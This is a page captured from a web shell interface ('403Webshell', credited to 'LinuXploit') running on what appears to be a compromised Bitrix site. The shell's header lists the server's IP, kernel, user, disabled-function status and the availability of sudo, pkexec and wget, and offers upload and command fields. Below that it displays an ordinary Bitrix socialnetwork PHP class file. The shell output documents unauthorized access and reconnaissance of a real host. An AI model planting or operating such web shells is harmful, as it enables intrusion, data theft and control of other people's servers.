403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/item/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/item/logright.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage socialnetwork
 * @copyright 2001-2017 Bitrix
 */
namespace Bitrix\Socialnetwork\Item;

use Bitrix\Main\UserAccessTable;
use Bitrix\Socialnetwork\LogRightTable;

class LogRight
{
	public static function get(int $logId = 0)
	{
		static $cache = [];

		if ($logId <= 0)
		{
			return [];
		}

		if (!empty($cache[$logId]))
		{
			return $cache[$logId];
		}

		$result = [];

		$res = LogRightTable::getList([
			'filter' => [
				'=LOG_ID' => $logId
			],
			'select' => [ 'GROUP_CODE' ]
		]);
		while ($logRightFields = $res->fetch())
		{
			$result[] = $logRightFields['GROUP_CODE'];
		}

		$cache[$logId] = $result;

		return $result;
	}

	public static function getUserIdsByLogRights(array $logRights): array
	{
		//todo perfomance
		if (!in_array('G2', $logRights, true) && in_array('AU', $logRights, true))
		{
			$logRights[] = 'G2';
		}

		$result = [];
		$queryResult = UserAccessTable::query()
			->setDistinct()
			->setSelect([
				'ID' => 'USER_ID',
			])
			->whereIn('ACCESS_CODE', $logRights)
			->exec()
		;

		while ($item = $queryResult->fetch())
		{
			if ((int)$item['ID'] > 0)
			{
				$result[] = (int)$item['ID'];
			}
		}

		return $result;
	}

	public static function OnAfterLogUpdate(\Bitrix\Main\Entity\Event $event)
	{
		$primary = $event->getParameter('primary');
		$logId = (!empty($primary['ID']) ? intval($primary['ID']) : 0);
		$fields = $event->getParameter('fields');

		if (
			$logId > 0
			&& !empty($fields)
			&& !empty($fields['LOG_UPDATE'])
		)
		{
			LogRightTable::setLogUpdate(array(
				'logId' => $logId,
				'value' => $fields['LOG_UPDATE']
			));
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit